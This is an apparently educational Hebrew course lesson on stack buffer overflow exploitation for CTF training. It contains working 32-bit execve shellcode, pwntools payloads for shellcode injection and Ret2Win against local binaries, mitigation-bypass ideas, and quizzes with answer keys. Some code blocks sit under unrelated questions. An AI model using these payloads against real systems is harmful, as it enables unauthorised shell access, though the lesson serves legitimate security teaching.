GammaCyber

Stack Buffer Overflow

Binary Exploitation ו-Pwn · 5–6 שעות

// סקירה

Stack Buffer Overflow — הוולנרביליטי שעיצבה את עולם הסייבר

Stack Buffer Overflow הוא הוולנרביליטי הקלאסית ביותר. מ-Morris Worm 1988 ועד ימינו, כתיבה מעבר לגבול Buffer ב-Stack מאפשרת לתוקף לשלוט בזרם הביצוע של התוכנה.

✓נושאי השיעור
  • Stack Layout בזמן CALL — מה נמצא איפה
  • מכניקת ה-Overflow — Return Address Overwrite
  • Cyclic Pattern — גילוי Offset לReturn Address
  • Shellcode ו-NOP Sled — הנשק של התוקף
  • checksec — בדיקת הגנות בינארי
  • Stack Canary, NX, ASLR — הגנות ו-Bypass
  • Exploit מלא: Ret2Win עם pwntools
  • GDB ו-pwndbg — כלי Debug לExploitation
🎯 איך זה מופיע במיוני גאמא
◄ Black Box CTF — Pwn Service: מציאת Overflow Offset, שליחת Payload, קבלת Shell
◄ Reverse Engineering — זיהוי פונקציות פגיעות (gets, strcpy, read ללא הגבלה)
◄ שאלון Exploitation — מה Stack Canary, מה ASLR, כיצד NOP Sled עובד
◄ Exploit Development — בניית Payload ידנית, חישוב Offsets, Ret2libc
// פרק 1

Stack Layout בזמן CALL: הבסיס של הכל

כדי להבין Buffer Overflow, חייבים להבין בדיוק מה קורה ב-Stack כשקוראים לפונקציה. ה-Offset בין Buffer ל-Return Address הוא מה שמאפשר את ה-Exploit.

High Addr ┌──────────────────────────┐ │ arg2 = 7 │ [EBP + 12] │ arg1 = 3 │ [EBP + 8] │ Return Address │ [EBP + 4] ← מה שנרצה לשנות! │ Saved EBP │ [EBP + 0] │ local var │ [EBP - 4] │ char buf[32] │ [EBP - 36] ← Buffer מתחיל כאן Low Addr └──────────────────────────┘ ← ESP (ראש Stack) מרחק buf → Return Address: 32 (buf) + 4 (Saved EBP) = 36 bytes
; ─── Function Prologue ──────────────────────────────────── push ebp ; שמור EBP של Caller mov ebp, esp ; EBP = בסיס Frame הנוכחי sub esp, N ; הכן מקום למשתנים מקומיים ; ─── [EBP+0] = Saved EBP ; ─── [EBP+4] = Return Address ← מה שמחליפים! ; ─── [EBP+8] = arg1 ; ─── [EBP-N] = Buffer (גדל לכיוון כתובות נמוכות!)
✏תרגול עצמי3 שאלות
שאלה 1.1 — Stack Layout
הפונקציה מכילה char buf[40]. כמה bytes מהתחלת buf עד Return Address?
✓ תשובה: ב) 44 bytes — Layout: [buf: 40 bytes][Saved EBP: 4 bytes][Return Address]. אחרי 40 bytes שממלאים את buf, דרושים עוד 4 bytes לדרוס Saved EBP, ואז ה-Return Address ב-offset 44.
שאלה 1.2 — Return Address
מה מבצעת פקודת RET בסוף פונקציה?
✓ תשובה: א) POP EIP — RET = POP EIP = קרא 4 bytes מ-Stack (מ-ESP) ל-EIP, ואז ESP+=4. זה בדיוק מה שמנצלים: אם שינינו את הערך ב-Stack שRET יקרא — נשלוט ב-EIP!
שאלה 1.3 — Function Prologue
מה מבצע SUB ESP, 48 ב-Prologue של פונקציה?
✓ תשובה: ג) — Stack גדל לכיוון כתובות נמוכות. SUB ESP, 48 = העברת ראש ה-Stack 48 bytes "למטה" = מקצה 48 bytes לשימוש כמשתנים מקומיים. ADD ESP, 48 = שחרור.
// פרק 2

מכניקת ה-Overflow: צעד אחר צעד

כתיבה מעבר לגבול Buffer ב-Stack דורסת את Saved EBP ואחר כך את Return Address — ומאפשרת שליטה מוחלטת ב-EIP.

// ─── קוד פגיע ───────────────────────────────────────────── void vulnerable() { char buf[40]; gets(buf); // ← קורא ללא הגבלה! המסוכן ביותר } // ─── input רגיל (10 תווים) — תקין ───────────────────────── // Stack: [buf:'HELLOWORLD\0'...][Saved_EBP][Ret=main+X] // vulnerable() מחזירה → ל-main בסדר // ─── input של 48× 'A' — Overflow! ───────────────────────── // [AAAA...AAAA (40)][AAAA (Saved_EBP)][AAAA (Ret)] // RET: POP EIP = 0x41414141 → Segfault (או Exploit!) // ─── חישוב Offset ───────────────────────────────────────── // bytes[0..39] → buf (40 bytes) // bytes[40..43] → Saved EBP (4 bytes) // bytes[44..47] → Return Address ← כאן שמים כתובת Shellcode!

גילוי Offset: Cyclic Pattern

from pwn import * # יצירת Pattern ייחודי — כל 4 bytes שונים: pattern = cyclic(100) # שלח → Crash → קרא EIP מה-Crash # e.g. EIP = 0x6161616c # גלה Offset: offset = cyclic_find(0x6161616c) print(f'Offset to EIP: {offset}') # → 44 # GDB: cyclic 100 → r → cyclic -l 0x6161616c → 44
! Endianness ב-Return Address ›
# x86 = Little-Endian! # כתובת 0x080491b6 נשלחת הפוכה: # ✗ שגוי: payload += b'\x08\x04\x91\xb6' # Big-Endian # ✓ נכון — pwntools מטפל אוטומטית: payload += p32(0x080491b6) # = b'\xb6\x91\x04\x08'
✏תרגול עצמי3 שאלות
שאלה 2.1 — Cyclic Pattern
לשם מה משתמשים ב-Cyclic Pattern (De Bruijn Sequence) ב-Pwn CTF?
✓ תשובה: ד) — Cyclic Pattern: 'aaaabaaacaaad...' — כל 4 bytes ייחודיים. שלח → Crash עם EIP=0x6161616c → cyclic_find(0x6161616c)=44. מגלה את המדויק offset ל-EIP ללא ניחוש.
שאלה 2.2 — gets() vs fgets()
מדוע gets(buf) מסוכן ו-fgets(buf, 40, stdin) בטוח יותר?
✓ תשובה: ג) — gets() הוסר מ-C11 בדיוק בגלל זה. fgets(buf, n, f) מגביל לn-1 תווים + \0. בRE: CALL gets = Buffer Overflow פוטנציאלי! חפש גם strcpy, sprintf ללא הגבלה.
שאלה 2.3 — Dry Run Overflow
void vuln() { char buf[16]; gets(buf); } // Input: 'A' * 24מה קורה?
✓ תשובה: ד) — buf[16] + Saved EBP[4] = 20 bytes, אחר כך 4 bytes נוספים = Return Address = 0x41414141. כשvuln() מנסה RET: POP EIP=0x41414141 → CPU מנסה לקפוץ שם → Segfault.
// פרק 3

Shellcode ו-NOP Sled: הנשק של התוקף

Shellcode הוא קוד Machine Language שמריץ execve("/bin/sh"). NOP Sled (\x90) לפניו מרחיב את "חלון הנחיתה" — אם קופצים לכל מקום בו, מגיעים לShellcode.

; ─── Shellcode: execve("/bin/sh") — 23 bytes, 32bit ────────── xor eax, eax ; eax = 0 (ללא NULL bytes!) push eax ; דחוף NULL (סיום string) push 0x68732f2f ; '//sh' (Little-Endian) push 0x6e69622f ; '/bin' (Little-Endian) mov ebx, esp ; ebx = "/bin//sh" push eax ; argv[1] = NULL push ebx ; argv[0] = "/bin//sh" mov ecx, esp ; ecx = argv xor edx, edx ; edx = NULL (envp) mov al, 11 ; eax = 11 = SYS_execve int 0x80 ; System Call! ; ─── Bytes: ────────────────────────────────────────────────── ; \x31\xc0\x50\x68\x2f\x2f\x73\x68 ; \x68\x2f\x62\x69\x6e\x89\xe3\x50 ; \x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

בניית Payload מלא

from pwn import * shellcode = ( b'\x31\xc0\x50\x68\x2f\x2f\x73\x68' b'\x68\x2f\x62\x69\x6e\x89\xe3\x50' b'\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' ) # 23 bytes nop_sled = b'\x90' * 16 # NOP = 0x90 offset = 44 # bytes עד Return Address ret_addr = p32(0xffffd4b0) # כתובת שנמצאת בתוך NOP Sled (מ-GDB) # חישוב Padding: padding = b'A' * (offset - len(nop_sled) - len(shellcode)) # [NOP Sled][Shellcode][Padding][Return Address] payload = nop_sled + shellcode + padding + ret_addr conn = remote('localhost', 9999) conn.sendline(payload) conn.interactive() # ← Shell!
🔑 Shellcode Constraints — חשוב לגאמא
◄ NULL bytes (\x00): פונקציות String נעצרות ב-\x00 → Shellcode אסור להכיל! פתרון: xor eax,eax במקום mov eax,0
◄ Newline (\x0a): gets() נעצרת ב-\n → להימנע
◄ Bad chars: כל Service עשוי לסנן תווים שונים — תמיד בדוק!
◄ 64bit: syscall, rax=59, rdi/rsi/rdx (לא int 0x80, eax=11)
✏תרגול עצמי3 שאלות
שאלה 3.1 — NOP Sled
מדוע משתמשים ב-NOP Sled (\x90 * N) לפני Shellcode?
✓ תשובה: ג) — NOP (0x90) = No Operation — CPU מבצע ומעביר ל-NOP הבא. אם קופצים לכל מקום בתוך NOP Sled, מגיעים בסוף לShellcode. מפצה על חוסר דיוק ב-ret_addr.
שאלה 3.2 — NULL Bytes
מדוע mov eax, 0 מסוכן בShellcode שנשלח דרך gets()?
✓ תשובה: ד) — mov eax,0 = \xb8\x00\x00\x00\x00 — 4 NULL bytes! gets() (ורוב פונקציות String) נעצרות בראיית \x00. פתרון: xor eax,eax = \x31\xc0 — ללא NULL bytes, אותה תוצאה.
שאלה 3.3 — Payload Structure
מה הסדר הנכון של מבנה Payload לShellcode Injection?
✓ תשובה: ד) — [NOP Sled][Shellcode] ממוקמים ב-buf. [Padding] ממלא עד Return Address. [Return Address] מצביע לתוך NOP Sled. CPU: NOPs → Shellcode → Shell!
// פרק 4

הגנות מודרניות: checksec, Canary, NX ו-ASLR

מאז שנות ה-2000, הוספו הגנות כדי להקשות על Buffer Overflow. הכלי הראשון בכל CTF Pwn הוא checksec.

$ checksec ./vuln Arch: i386-32-little Stack: No canary found ← אין Stack Canary! NX: NX disabled ← Stack ניתן להרצה! PIE: No PIE ← כתובות קבועות # פירוש: # No canary + NX disabled = Shellcode ישיר אפשרי ✓ # Canary + NX disabled = Leak Canary → Shellcode # NX enabled + No PIE = Ret2libc / ROP (שיעור 41!) # Full protection = Leak + ROP + ASLR Bypass

Stack Canary

; ─── Stack Layout עם Canary ────────────────────────────── ; [Return Address] [EBP+4] ; [Saved EBP ] [EBP+0] ; [*** CANARY ***] [EBP-4] ← ערך אקראי! נבדק לפני RET ; [local vars ] [EBP-8] ; [char buf[40] ] [EBP-48] ; Prologue: mov eax, gs:0x14 ; קרא Canary מ-TLS mov [ebp-4], eax ; שמור ב-Stack ; Epilogue — לפני RET: mov eax, [ebp-4] ; קרא Canary מ-Stack xor eax, gs:0x14 ; השווה ל-Original jz .ok call __stack_chk_fail ; שונה → "stack smashing detected!" ; Bypass: Leak Canary דרך Format String → כלול בPayload!

NX ו-ASLR

הגנהמה עושהBypass
NX / DEPStack/Heap לא ניתנים להרצה — Shellcode נחסםRet2libc / ROP (שיעור 41)
ASLRכתובות Stack/Heap/libc אקראיות בכל הרצהBrute Force / Info Leak / Forking Server
PIEBinary עצמו בכתובת אקראיתInfo Leak מ-Binary
Stack Canaryערך אקראי בין buf ל-Return AddressFormat String Leak → כלול בPayload
✏תרגול עצמי4 שאלות
שאלה 4.1 — Stack Canary
Stack Canary ממוקם בין Buffer ל-Return Address. מה קורה אם Overflow דורס אותו?
✓ תשובה: ג) — ה-Compiler מוסיף קוד לפני RET: קרא Canary מ-Stack, השווה לMaster Copy (ב-TLS). אם שינה → __stack_chk_fail() → abort(). Bypass: גלה Canary (Format String Leak) ושים אותו בPayload!
שאלה 4.2 — NX Bypass
NX מופעל — Shellcode ב-Stack לא יריץ. מה הפתרון הנפוץ ב-CTF?
✓ תשובה: ג) Ret2libc — libc.text = r-x (ניתן להרצה). Stack = rw- (ללא x). Ret2libc: החלף Return Address בכתובת system() בlibc + arg="/bin/sh". אין צורך ב-Shellcode חדש!
שאלה 4.3 — ASLR Bypass
מדוע Forking Server מקל על ASLR Bypass ב-CTF?
✓ תשובה: ב) — fork() = Copy-On-Write: ASLR seed נקבע בParent ולא משתנה בfork. כל Child = אותה כתובת libc/Stack. שלח ניסיונות שוב ושוב → Brute-Force כל byte של Canary/Address.
שאלה 4.4 — checksec
checksec מראה: NX enabled, No PIE, No Canary. מה הגישה הנכונה?
✓ תשובה: ב) — NX enabled = לא Shellcode. No PIE = Binary בכתובת קבועה (e.g. 0x08048000). No Canary = אין Stack Canary לעקוף. ASLR עשוי לא להיות על libc — בדוק! גישה: Ret2libc עם כתובות קבועות.
// פרק 5

Exploit מלא: Ret2Win ו-GDB

Ret2Win הוא ה-Exploit הבסיסי ביותר: מחליף Return Address בכתובת פונקציה קיימת (ללא Shellcode). ה-Pattern הנפוץ ביותר ב-CTF מתחיל.

// ─── קוד פגיע עם "פונקציה נסתרת" ──────────────────────────── void win() { // לא נקראת מ-main! system("/bin/sh"); } void vulnerable() { char buf[40]; gets(buf); // ← Overflow! } // gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c
from pwn import * elf = ELF('./vuln') win_addr = elf.symbols['win'] # כתובת win() מ-Symbol Table print(f'win() @ {hex(win_addr)}') # 0x080491b6 offset = 44 # 40 (buf) + 4 (Saved EBP) payload = b'A' * offset + p32(win_addr) conn = process('./vuln') conn.sendline(payload) conn.interactive() # ← Shell!

GDB — פקודות חיוניות לPwn

$ gdb ./vuln (gdb) disassemble vulnerable # הצג Assembly (gdb) b *0x08049196 # Breakpoint בכתובת (gdb) r # הרץ (gdb) info registers # כל Registers (gdb) x/40x $esp # הצג Stack בHex (gdb) x/s 0x0804a000 # הצג String (gdb) p $ebp - &buf # מרחק EBP מbuf # pwndbg (plugin): (gdb) cyclic 100 # יצור Pattern (gdb) r # הרץ → Crash (gdb) cyclic -l 0x6161616c # → Offset=44
✏תרגול עצמי — גאמא סגנון3 שאלות
שאלה 5.1 — Ret2Win Payload
void secret() { system("/bin/sh"); } void vuln() { char name[24]; char pass[8]; gets(pass); // ← Overflow! }secret() נמצאת ב-0x08049200. מה הPayload הנכון? (32bit, No PIE, No Canary)
✓ תשובה: ד) b'A'*12 + p32(0x08049200) — Stack layout של gets(pass): [pass:8][Saved EBP:4][Return Addr]. Offset=8+4=12. bytes[12..15]=secret()! name לא משפיע כי gets() כותב ל-pass.
שאלה 5.2 — GDB x/40x
ב-GDB, x/40x $esp מציג מה?
✓ תשובה: א) — x/Nf addr: N=כמות, f=פורמט (x=hex, s=string, i=instruction). x/40x $esp = 40 dwords בhex מ-ESP. חיוני לראות את הStack ולמצוא Return Address, Canary, וכדומה.
שאלה 5.3 — p32 vs b'\x..'
מדוע p32(0x080491b6) עדיף על b'\x08\x04\x91\xb6' בpwntools?
✓ תשובה: ב) — x86 = Little-Endian. p32(0x080491b6)=b'\xb6\x91\x04\x08' (הפוך). b'\x08\x04\x91\xb6' = Big-Endian = שגוי ל-x86! p64() ל-64bit. u32()/u64() לhהמרה הפוכה (קריאה מ-Stack).
// תרגול נוסף

תרגול נוסף — Sockets: SO_REUSEADDR ו-Protocol

שאלות העשרה נוספות לחיזוק החומר של השיעור — באותו פורמט בחירה של הקורס.

✏תרגול נוסף3 שאלות
שאלה 6.1 [קל]
מה עושה SO_REUSEADDR?
✓ תשובה נכונה: ב — SO_REUSEADDR מתיר bind לפורט ב-TIME_WAIT. בלעדיו: 'Address already in use' בהפעלה מחדש מהירה. חובה כמעט בכל שרת TCP.
שאלה 6.2 [בינוני]
למה שרת משתמש ב-Threading לכל Client?
✓ תשובה נכונה: ד — recv() חוסם עד שמגיע מידע. Thread per Client = טיפול מקבילי, לקוח לא חוסם אחרים. חלופות מודרניות: async/epoll (I/O ריבוי).
שאלה 6.3 [קשה]
שרת שולח פרוטוקול [LENGTH(2)][DATA(LENGTH)]. הלקוח קרא רק חלק מהנתונים. למה?
✓ תשובה נכונה: ג — TCP = Stream, לא Messages. recv() עשוי להחזיר פחות מ-LENGTH בתים. פתרון: קרא את ה-LENGTH, ואז לולל recv עד שנצברו בדיוק LENGTH בתים.
// אתגר מעשי

אתגר מעשי — Overflow — Offset ומיטיגציות

שיא השיעור: להבין את הפגיעות, לזהות אותה בקוד ובבינארי, ולהקשיח מולה. ההגשה נבדקת אוטומטית מול בינאריים אמיתיים.

T4 · מתקדם500 נק'~25 דק'analysis
Offset לכתובת החזרה מ-Disassembly
בהינתן ה-disassembly של vuln() (char buf[80], קומפל ב--O0 -fno-stack-protector), חשב כמה בתים מתחילת buf יש עד כתובת החזרה (saved RIP). רמז: buf נטען מ-rbp במרחק המופיע ב-lea; אחריו 8 בתים של saved rbp ואז כתובת החזרה. הגש מספר עשרוני. ; vuln(): char buf[80]; read(0,buf,300); lea -0x50(%rbp),%rax ; כתובת buf ... call read@plt
דוגמאות
buf ב-rbp-0x50 → offset = 0x50 + 8
הפתרון נשמר מקומית ומשותף עם עמוד „כתיבת קוד”.
פתרון-ייחוס Offset לכתובת החזרה מ-Disassembly ›
buf ב-rbp-0x50 (80 בתים). עד saved rbp: 80. + 8 (saved rbp) = 88 עד saved RIP.
T3 · בינוני300 נק'~12 דק'analysis
זיהוי מיטיגציה מ-Disassembly
ב-disassembly של פונקציה מוגנת מופיע `mov %fs:0x28,%rax` בכניסה, והשוואה לפני ה-ret שקופצת ל-__stack_chk_fail אם הערך השתנה. איזו מיטיגציה זו? ; פונקציה מוגנת (disassembly חלקי): mov %fs:0x28,%rax ; טעינת ה-canary לתוך המסגרת ... ; לפני ret: השוואת ה-canary; אם שונה -> __stack_chk_fail (a) NX (Non-Executable Stack) (b) Stack Canary (c) ASLR (d) PIE
דוגמאות
(פורמט) → אות, למשל b
הפתרון נשמר מקומית ומשותף עם עמוד „כתיבת קוד”.
פתרון-ייחוס זיהוי מיטיגציה מ-Disassembly ›
b — הערך מ-%fs:0x28 הוא ה-Stack Canary; דריסת ה-buffer משנה אותו ו-__stack_chk_fail עוצר את התוכנית לפני ה-ret.
// סיכום

סיכום שיעור 40

✓מה למדנו בשיעור 40
  • Stack Layout: [args][Return Address][Saved EBP][local vars][buf] — מה נמצא איפה
  • CALL דוחף Return Address אוטומטית. RET = POP EIP — זה מה שמנצלים
  • Offset = sizeof(buf) + 4 (Saved EBP). גילוי עם Cyclic Pattern
  • Shellcode = Machine Code לexecve("/bin/sh"). אסור NULL bytes!
  • NOP Sled = \x90 * N לפני Shellcode. מרחיב חלון הנחיתה
  • checksec: הכלי הראשון ב-CTF Pwn. בודק Canary/NX/PIE/RELRO
  • Stack Canary: ערך אקראי בין buf ל-Return Address. Bypass: Leak → כלול בPayload
  • NX: Stack לא ניתן להרצה. Bypass: Ret2libc / ROP (שיעור 41)
  • ASLR: כתובות אקראיות. Bypass: Brute Force / Info Leak / Forking Server
  • Ret2Win: החלף Return Address בכתובת פונקציה קיימת. p32() ל-Endianness!
🎯 השיעור הבא
שיעור 41 — Return-Oriented Programming (ROP): Gadgets, Ret2libc ו-ROP Chains
שאלות תרגול ותשובות (19)

שאלה 1.1 — Stack Layout · הפונקציה מכילה char buf[40]. כמה bytes מהתחלת buf עד Return Address?

  • א. 40 בתים: בדיוק כגודל ה-buffer עצמו, ללא כל תוספת
  • ב. 44 בתים: ה-buffer בן 40 ועוד Saved EBP בן 4 בתים
  • ג. 48 בתים: ה-buffer בן 40 בתוספת 8 בתים של יישור
  • ד. 36 בתים: ה-buffer בן 40 פחות 4 בתים של רגיסטר
תשובה: ב

✓ תשובה: ב) 44 bytes — Layout: [buf: 40 bytes][Saved EBP: 4 bytes][Return Address]. אחרי 40 bytes שממלאים את buf, דרושים עוד 4 bytes לדרוס Saved EBP, ואז ה-Return Address ב-offset 44.

שאלה 1.2 — Return Address · מה מבצעת פקודת RET בסוף פונקציה?

  • א. POP EIP: קורא כתובת מה-Stack אל EIP וקופץ אליה
  • ב. MOV EIP, EBP: מעתיק את מצביע הבסיס אל מונה התוכנית
  • ג. JMP [EBP+4]: קופץ לכתובת השמורה מעל מצביע הבסיס
  • ד. PUSH EIP ולאחר מכן JMP: שומר את EIP וקופץ הלאה
תשובה: א

✓ תשובה: א) POP EIP — RET = POP EIP = קרא 4 bytes מ-Stack (מ-ESP) ל-EIP, ואז ESP+=4. זה בדיוק מה שמנצלים: אם שינינו את הערך ב-Stack שRET יקרא — נשלוט ב-EIP!

שאלה 1.3 — Function Prologue · מה מבצע SUB ESP, 48 ב-Prologue של פונקציה?

// ─── קוד פגיע ─────────────────────────────────────────────
void vulnerable() {
    char buf[40];
    gets(buf);    // ← קורא ללא הגבלה! המסוכן ביותר
}

// ─── input רגיל (10 תווים) — תקין ─────────────────────────
// Stack: [buf:'HELLOWORLD\0'...][Saved_EBP][Ret=main+X]
// vulnerable() מחזירה → ל-main בסדר

// ─── input של 48× 'A' — Overflow! ─────────────────────────
// [AAAA...AAAA (40)][AAAA (Saved_EBP)][AAAA (Ret)]
// RET: POP EIP = 0x41414141 → Segfault (או Exploit!)

// ─── חישוב Offset ─────────────────────────────────────────
// bytes[0..39]  → buf (40 bytes)
// bytes[40..43] → Saved EBP (4 bytes)
// bytes[44..47] → Return Address ← כאן שמים כתובת Shellcode!
  • א. משחרר 48 בתים מה-Stack ומחזיר אותם למערכת ההפעלה
  • ב. מעתיק 48 בתים מה-Heap אל תוך מסגרת ה-Stack הנוכחית
  • ג. מקצה 48 בתים ב-Stack למשתנים מקומיים; ה-Stack גדל מטה
  • ד. קובע את גודלו המרבי של ה-Buffer המקומי ל-48 בתים
תשובה: ג

✓ תשובה: ג) — Stack גדל לכיוון כתובות נמוכות. SUB ESP, 48 = העברת ראש ה-Stack 48 bytes "למטה" = מקצה 48 bytes לשימוש כמשתנים מקומיים. ADD ESP, 48 = שחרור.

שאלה 2.1 — Cyclic Pattern · לשם מה משתמשים ב-Cyclic Pattern (De Bruijn Sequence) ב-Pwn CTF?

  • א. להצפנת ה-Payload כדי שלא יזוהה על-ידי מנגנוני ההגנה
  • ב. ליצירת Shellcode תקין שירוץ ישירות מתוך ה-Stack
  • ג. לבדיקה האם קיים Stack Canary שמגן על הפונקציה הנוכחית
  • ד. לגילוי ה-Offset המדויק: כל 4 בתים ברצף הם ייחודיים
תשובה: ד

✓ תשובה: ד) — Cyclic Pattern: 'aaaabaaacaaad...' — כל 4 bytes ייחודיים. שלח → Crash עם EIP=0x6161616c → cyclic_find(0x6161616c)=44. מגלה את המדויק offset ל-EIP ללא ניחוש.

שאלה 2.2 — gets() vs fgets() · מדוע gets(buf) מסוכן ו-fgets(buf, 40, stdin) בטוח יותר?

  • א. gets() פשוט מהיר יותר, ולכן הוא נוטה לגלוש מעבר ל-buffer
  • ב. gets() פועל אך ורק על stdin, בעוד fgets() על כל זרם קלט
  • ג. gets() אינו מקבל גודל מרבי וקורא בלי הגבלה; fgets() עד n-1
  • ד. fgets() אינו מוסיף תו סיום, ולכן הוא נחשב לבטוח יותר
תשובה: ג

✓ תשובה: ג) — gets() הוסר מ-C11 בדיוק בגלל זה. fgets(buf, n, f) מגביל לn-1 תווים + \0. בRE: CALL gets = Buffer Overflow פוטנציאלי! חפש גם strcpy, sprintf ללא הגבלה.

שאלה 2.3 — Dry Run Overflow · void vuln() { char buf[16]; gets(buf); } // Input: 'A' * 24מה קורה?

void vuln() {
    char buf[16];
    gets(buf);
}
// Input: 'A' * 24
  • א. ה-buffer פשוט מכיל את כל 24 התווים בלי שום תופעת-לוואי
  • ב. gets() נעצר אוטומטית לאחר 16 תווים ואינו גולש כלל מעבר
  • ג. ה-Stack Canary מזהה את הדריסה ועוצר את התוכנית בבטחה
  • ד. כתובת החזרה נדרסת ב-0x41414141 ואז Segfault בעת החזרה
תשובה: ד

✓ תשובה: ד) — buf[16] + Saved EBP[4] = 20 bytes, אחר כך 4 bytes נוספים = Return Address = 0x41414141. כשvuln() מנסה RET: POP EIP=0x41414141 → CPU מנסה לקפוץ שם → Segfault.

שאלה 3.1 — NOP Sled · מדוע משתמשים ב-NOP Sled (\x90 * N) לפני Shellcode?

  • א. מאריך את ה-Payload כך שיגיע בדיוק אל ה-Offset הנכון
  • ב. מנטרל את הגנות ה-NX וה-Canary שמגנות על ה-Stack עצמו
  • ג. מרחיב את חלון הנחיתה: ה-CPU מריץ NOPs ומגיע ל-Shellcode
  • ד. מצפין את ה-Shellcode כדי שלא יזוהה על-ידי מנגנוני ההגנה
תשובה: ג

✓ תשובה: ג) — NOP (0x90) = No Operation — CPU מבצע ומעביר ל-NOP הבא. אם קופצים לכל מקום בתוך NOP Sled, מגיעים בסוף לShellcode. מפצה על חוסר דיוק ב-ret_addr.

שאלה 3.2 — NULL Bytes · מדוע mov eax, 0 מסוכן בShellcode שנשלח דרך gets()?

  • א. הפקודה mov eax,0 עצמה תמיד גורמת לקריסה מיידית של התוכנית
  • ב. הרגיסטר eax אינו יכול להכיל את הערך 0 בשום שלב של הריצה
  • ג. הערך eax=0 אינו תקף כלל כקריאת המערכת execve ולכן ייכשל
  • ד. מתקמפל ל-B8 00 00 00 00 ומכיל NULL bytes שקוטעים את gets()
תשובה: ד

✓ תשובה: ד) — mov eax,0 = \xb8\x00\x00\x00\x00 — 4 NULL bytes! gets() (ורוב פונקציות String) נעצרות בראיית \x00. פתרון: xor eax,eax = \x31\xc0 — ללא NULL bytes, אותה תוצאה.

שאלה 3.3 — Payload Structure · מה הסדר הנכון של מבנה Payload לShellcode Injection?

$ checksec ./vuln
    Arch:     i386-32-little
    Stack:    No canary found   ← אין Stack Canary!
    NX:       NX disabled       ← Stack ניתן להרצה!
    PIE:      No PIE            ← כתובות קבועות

# פירוש:
# No canary + NX disabled = Shellcode ישיר אפשרי ✓
# Canary + NX disabled    = Leak Canary → Shellcode
# NX enabled + No PIE     = Ret2libc / ROP (שיעור 41!)
# Full protection         = Leak + ROP + ASLR Bypass
  • א. [Return Address][Shellcode][NOP Sled][Padding] בסדר הזה בדיוק
  • ב. [Padding][Return Address][NOP Sled][Shellcode] בסדר הזה בדיוק
  • ג. [Shellcode][NOP Sled][Padding][Return Address] בסדר הזה בדיוק
  • ד. [NOP Sled][Shellcode][Padding][Return Address אל ה-NOP Sled]
תשובה: ד

✓ תשובה: ד) — [NOP Sled][Shellcode] ממוקמים ב-buf. [Padding] ממלא עד Return Address. [Return Address] מצביע לתוך NOP Sled. CPU: NOPs → Shellcode → Shell!

שאלה 4.1 — Stack Canary · Stack Canary ממוקם בין Buffer ל-Return Address. מה קורה אם Overflow דורס אותו?

  • א. ה-Canary כלל אינו נבדק בשלב זה, ולכן ה-Exploit ממשיך לרוץ
  • ב. ה-Canary מוחזר אוטומטית לערכו המקורי עוד לפני חזרת הפונקציה
  • ג. לפני ה-RET ה-Canary נבדק, ואם השתנה מופעל abort() עם הודעה
  • ד. הפונקציה פשוט מחזירה את הערך NULL במקום לקרוס בפועל בריצה
תשובה: ג

✓ תשובה: ג) — ה-Compiler מוסיף קוד לפני RET: קרא Canary מ-Stack, השווה לMaster Copy (ב-TLS). אם שינה → __stack_chk_fail() → abort(). Bypass: גלה Canary (Format String Leak) ושים אותו בPayload!

שאלה 4.2 — NX Bypass · NX מופעל — Shellcode ב-Stack לא יריץ. מה הפתרון הנפוץ ב-CTF?

  • א. כתיבת ה-Shellcode אל ה-Heap והרצתו משם במקום מן ה-Stack
  • ב. כתיבת ה-Shellcode אל מקטע ה-.data והרצתו ישירות משם בזיכרון
  • ג. Ret2libc: קפיצה אל system() שב-libc, שהיא כן ניתנת להרצה
  • ד. אין דרך לעקוף NX, ולכן יש לוותר על ניצול הפגיעות הזו כליל
תשובה: ג

✓ תשובה: ג) Ret2libc — libc.text = r-x (ניתן להרצה). Stack = rw- (ללא x). Ret2libc: החלף Return Address בכתובת system() בlibc + arg="/bin/sh". אין צורך ב-Shellcode חדש!

שאלה 4.3 — ASLR Bypass · מדוע Forking Server מקל על ASLR Bypass ב-CTF?

  • א. הפעולה fork() פשוט מכבה לחלוטין את מנגנון ה-ASLR במערכת כולה
  • ב. כל fork() שומר על כתובות ההורה (COW), כך שניתן ל-Brute-Force
  • ג. שרת מסוג Forking מגדיל את מרחב הכתובות הזמין עבור התוכנית
  • ד. מנגנון ה-ASLR כלל אינו פועל על תהליכים שרצים בתוך שרתי רשת
תשובה: ב

✓ תשובה: ב) — fork() = Copy-On-Write: ASLR seed נקבע בParent ולא משתנה בfork. כל Child = אותה כתובת libc/Stack. שלח ניסיונות שוב ושוב → Brute-Force כל byte של Canary/Address.

שאלה 4.4 — checksec · checksec מראה: NX enabled, No PIE, No Canary. מה הגישה הנכונה?

// ─── קוד פגיע עם "פונקציה נסתרת" ────────────────────────────
void win() {                    // לא נקראת מ-main!
    system("/bin/sh");
}
void vulnerable() {
    char buf[40];
    gets(buf);                  // ← Overflow!
}
// gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c
  • א. הזרקת Shellcode ישירות אל ה-Stack והרצתו משם ללא כל מכשול
  • ב. Ret2libc: NX חוסם Shellcode, אך No PIE נותן כתובות קבועות
  • ג. ביצוע Brute Force על הכתובות עד שתימצא כתובת החזרה הנכונה
  • ד. מעקף של ה-Stack Canary על-ידי דליפת ערכו טרם חזרת הפונקציה
תשובה: ב

✓ תשובה: ב) — NX enabled = לא Shellcode. No PIE = Binary בכתובת קבועה (e.g. 0x08048000). No Canary = אין Stack Canary לעקוף. ASLR עשוי לא להיות על libc — בדוק! גישה: Ret2libc עם כתובות קבועות.

שאלה 5.1 — Ret2Win Payload · void secret() { system("/bin/sh"); } void vuln() { char name[24]; char pass[8]; gets(pass); // ← Overflow! }secret() נמצאת ב-0x08049200. מה הPayload הנכון? (32bit, No PIE, No Canary)

void secret() { system("/bin/sh"); }
void vuln() {
    char name[24];
    char pass[8];
    gets(pass);     // ← Overflow!
}
  • א. b'A'*24 + p32(0x08049200): ריפוד בגודל המשתנה name בן 24
  • ב. b'A'*8 + p32(0x08049200): ריפוד בגודל pass בלבד, ללא ה-EBP
  • ג. p32(0x08049200) + b'A'*12: הכתובת ממוקמת לפני הריפוד עצמו
  • ד. b'A'*12 + p32(0x08049200): pass בן 8 ועוד Saved EBP בן 4
תשובה: ד

✓ תשובה: ד) b'A'*12 + p32(0x08049200) — Stack layout של gets(pass): [pass:8][Saved EBP:4][Return Addr]. Offset=8+4=12. bytes[12..15]=secret()! name לא משפיע כי gets() כותב ל-pass.

שאלה 5.2 — GDB x/40x · ב-GDB, x/40x $esp מציג מה?

